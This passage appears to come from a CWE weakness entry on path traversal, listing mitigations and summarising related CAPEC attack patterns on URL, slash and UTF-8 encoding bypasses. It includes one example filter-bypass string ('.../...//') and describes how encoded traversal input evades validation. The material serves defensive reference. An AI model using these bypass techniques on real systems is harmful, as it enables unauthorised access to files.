- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.